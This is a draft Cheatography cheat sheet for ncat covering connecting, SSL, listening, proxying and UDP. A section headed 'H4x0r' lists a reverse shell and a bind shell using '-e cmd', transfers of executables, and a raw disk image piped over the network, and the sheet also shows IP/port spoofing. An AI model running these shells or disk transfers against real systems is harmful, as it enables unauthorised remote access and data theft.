Show Menu
Cheatography

Ncat Cheat Sheet Cheat Sheet (DRAFT) by

This is a draft cheat sheet. It is a work in progress and is not finished yet.

Connect

ncat <ip> <po­rt> <op­tio­ns>
Basic
ncat asocol­seg.co 80
Windows NewLine <cr­><l­f>
ncat -C asocol­seg.co 80
SSL
ncat asocol­seg.co 80 --ssl
IP/Port Spoofing
ncat asocol­seg.co 80 -p 10 -s 192.16­8.1.1
HTTP Over ncat
ncat asocolseg 443 --ssl
 
GET / HTTP/1.1
 
Host: asocol­seg.co
Telnet Over ncat
ncat -t asocol­seg.co 23

H4x0r

Name
Client
Server
Download Files
ncat asocol­seg.co 1337 --ssl > out2.exe
ncat -l --ssl 1337 --send­-only < ncat.exe
Upload Files
ncat asocol­seg.co 1337 --ssl --send­-only < ncat.exe
ncat -l --ssl 1337 > ncat.exe
Reverse shell
ncat -l 1337
ncat asocol­seg.co 1337 -e cmd
Forensic Copy
dd if=/de­v/sda | nc server2 1337
nc -l 1337 | dd of=/de­v/sdb
 

Listen

ncat -l <po­rt>
Basic listen
ncat -l 127.0.0.1 80
Keep connection Open (SSL)
ncat -l --keep­-open --ssl 80
UDP Listen
ncat -l 80 --udp
Broker (multi­-chat?)
ncat -l 80 --broker
proxy
ncat -l 8080 --prox­y-type http --prox­y-auth usr:pass --ssl
Auto Responder
ncat -l 80 < text.html
Shell With Access Control
ncat -l 1337 -e cmd --allow 192.16­8.1.1